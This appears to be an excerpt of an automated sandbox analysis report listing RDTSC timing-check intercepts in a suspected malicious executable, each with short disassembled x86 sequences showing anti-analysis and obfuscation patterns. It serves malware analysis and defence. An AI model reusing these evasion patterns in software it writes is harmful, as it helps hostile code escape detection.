Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11A7BEF second address: 11A7BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11A7BF3 second address: 11A7C16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F29h 0x00000007 jc 00007FCD80B68F16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 116D132 second address: 116D13B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 116D13B second address: 116D13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AC500 second address: 11AC506 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AC506 second address: 11AC514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FCD80B68F16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AC514 second address: 11AC566 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Bh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FCD80B38A11h 0x00000016 push edx 0x00000017 jmp 00007FCD80B38A11h 0x0000001c pop edx 0x0000001d jnl 00007FCD80B38A0Eh 0x00000023 push esi 0x00000024 jc 00007FCD80B38A06h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117717B second address: 1177180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1177180 second address: 1177185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1177185 second address: 117718B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AB976 second address: 11AB97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11ACD2A second address: 11ACD39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F1Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11ACD39 second address: 11ACD7C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 2CC10EE4h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FCD80B38A08h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1881h], edi 0x0000002f push 44B89AE1h 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AD0A6 second address: 11AD0AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AD0AA second address: 11AD0AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AD154 second address: 11AD158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AD884 second address: 11AD88A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AD88A second address: 11AD88E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11ADADA second address: 11ADAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FCD80B38A15h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11ADAFC second address: 11ADB02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11ADB02 second address: 11ADB06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11ADEF1 second address: 11ADF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FCD80B68F16h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FCD80B68F27h 0x00000012 nop 0x00000013 add edi, dword ptr [ebp+122D2BEAh] 0x00000019 xchg eax, ebx 0x0000001a jng 00007FCD80B68F24h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AE376 second address: 11AE385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AED1F second address: 11AED29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FCD80B68F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AED29 second address: 11AED2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AFD21 second address: 11AFD62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 movsx edi, cx 0x00000009 push 00000000h 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FCD80B68F18h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 cmc 0x00000026 push 00000000h 0x00000028 mov si, dx 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jnp 00007FCD80B68F16h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11AFD62 second address: 11AFD68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B0817 second address: 11B081D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B12A2 second address: 11B12A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B12A7 second address: 11B12D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FCD80B68F26h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FCD80B68F1Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B12D4 second address: 11B132E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov esi, dword ptr [ebp+122D2BB2h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FCD80B38A08h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000016h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D2486h], ebx 0x00000033 add esi, 39774934h 0x00000039 push 00000000h 0x0000003b cld 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B132E second address: 11B1343 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B1D7C second address: 11B1D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B1D80 second address: 11B1D95 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCD80B68F1Ch 0x00000008 ja 00007FCD80B68F16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B1D95 second address: 11B1D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B1D9D second address: 11B1DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B286D second address: 11B2873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B2873 second address: 11B2878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B2878 second address: 11B287F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B287F second address: 11B28F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FCD80B68F18h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov esi, dword ptr [ebp+122D2C56h] 0x00000028 push 00000000h 0x0000002a mov edi, 311908C0h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FCD80B68F18h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b xchg eax, ebx 0x0000004c pushad 0x0000004d je 00007FCD80B68F18h 0x00000053 push esi 0x00000054 pop esi 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FCD80B68F29h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B28F8 second address: 11B28FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B28FC second address: 11B290B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B290B second address: 11B2910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11648B4 second address: 11648CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FCD80B68F16h 0x0000000a jne 00007FCD80B68F1Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B3C11 second address: 11B3C17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11648CC second address: 11648D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B3C17 second address: 11B3C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FCD80B38A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11648D4 second address: 11648D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11648D8 second address: 11648DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11648DC second address: 11648E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B7D59 second address: 11B7D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B7D5F second address: 11B7D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B83B4 second address: 11B83BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11BA405 second address: 11BA409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11BA409 second address: 11BA40E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11BA40E second address: 11BA48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 jnp 00007FCD80B68F1Ch 0x0000000f pop esi 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D3020h], eax 0x00000017 push 00000000h 0x00000019 or edi, 2C1E4EF1h 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007FCD80B68F18h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b jnp 00007FCD80B68F1Ch 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 pop edx 0x00000046 pop eax 0x00000047 jc 00007FCD80B68F1Ch 0x0000004d jno 00007FCD80B68F16h 0x00000053 popad 0x00000054 push eax 0x00000055 pushad 0x00000056 jp 00007FCD80B68F18h 0x0000005c push eax 0x0000005d pop eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jno 00007FCD80B68F16h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B8557 second address: 11B8619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FCD80B38A0Bh 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D1D7Eh] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FCD80B38A08h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 je 00007FCD80B38A09h 0x00000039 movsx ebx, si 0x0000003c sbb ebx, 509264EFh 0x00000042 mov dword ptr fs:[00000000h], esp 0x00000049 jmp 00007FCD80B38A17h 0x0000004e jmp 00007FCD80B38A0Ch 0x00000053 mov eax, dword ptr [ebp+122D1005h] 0x00000059 push 00000000h 0x0000005b push edi 0x0000005c call 00007FCD80B38A08h 0x00000061 pop edi 0x00000062 mov dword ptr [esp+04h], edi 0x00000066 add dword ptr [esp+04h], 00000014h 0x0000006e inc edi 0x0000006f push edi 0x00000070 ret 0x00000071 pop edi 0x00000072 ret 0x00000073 mov dword ptr [ebp+1244E0A2h], edx 0x00000079 mov bl, 4Fh 0x0000007b push FFFFFFFFh 0x0000007d add bh, FFFFFFA6h 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007FCD80B38A16h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B8619 second address: 11B861E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C288E second address: 11C2892 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C2892 second address: 11C28B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jns 00007FCD80B68F24h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C4952 second address: 11C49AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e cld 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FCD80B38A08h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov edi, esi 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007FCD80B38A08h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jl 00007FCD80B38A06h 0x00000053 push esi 0x00000054 pop esi 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C19F2 second address: 11C19F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C2B81 second address: 11C2B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C19F8 second address: 11C19FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C3C04 second address: 11C3C97 instructions: 0x00000000 rdtsc 0x00000002 js 00007FCD80B38A0Ch 0x00000008 jng 00007FCD80B38A06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007FCD80B38A08h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d cld 0x0000002e push dword ptr fs:[00000000h] 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c add bx, F577h 0x00000041 mov eax, dword ptr [ebp+122D014Dh] 0x00000047 add ebx, 53D828AEh 0x0000004d push FFFFFFFFh 0x0000004f jmp 00007FCD80B38A16h 0x00000054 nop 0x00000055 pushad 0x00000056 jmp 00007FCD80B38A0Bh 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FCD80B38A19h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C2B85 second address: 11C2B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C69B9 second address: 11C69C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C3C97 second address: 11C3CAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCD80B68F1Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C0806 second address: 11C0819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007FCD80B38A0Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11C4B3A second address: 11C4B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11CC448 second address: 11CC45B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCD80B38A0Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11CF6D8 second address: 11CF703 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCD80B68F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b pushad 0x0000000c jno 00007FCD80B68F1Ch 0x00000012 jmp 00007FCD80B68F20h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11CF703 second address: 11CF709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11CEF11 second address: 11CEF25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FCD80B68F1Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11CF0EA second address: 11CF0EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D4880 second address: 11D48C1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCD80B68F29h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push esi 0x0000000f ja 00007FCD80B68F18h 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 mov eax, dword ptr [eax] 0x0000001a push ebx 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ebx 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jbe 00007FCD80B68F16h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11D48C1 second address: 11D48C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
